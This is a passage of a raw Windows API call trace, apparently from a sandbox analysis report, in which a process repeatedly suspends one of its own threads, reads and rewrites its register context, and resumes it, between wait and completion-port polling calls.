[17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0155.446] ResumeThread (hThread=0x194) returned 0x1 [0155.446] CloseHandle (hObject=0x194) returned 1 [0155.446] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0155.689] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0155.689] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0155.808] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0155.808] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0155.808] SuspendThread (hThread=0x194) returned 0x0 [0155.809] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f188, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc41460, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0155.809] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f180, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0155.810] ResumeThread (hThread=0x194) returned 0x1 [0155.810] CloseHandle (hObject=0x194) returned 1 [0155.810] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0155.916] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0155.916] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0156.014] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0156.116] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0156.116] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0156.116] SuspendThread (hThread=0x194) returned 0x0 [0156.116] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f0f0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fb99f60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0156.117] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f0e8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0156.117] ResumeThread (hThread=0x194) returned 0x1 [0156.117] CloseHandle (hObject=0x194) returned 1 [0156.118] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0156.217] NtWaitForSingleObject 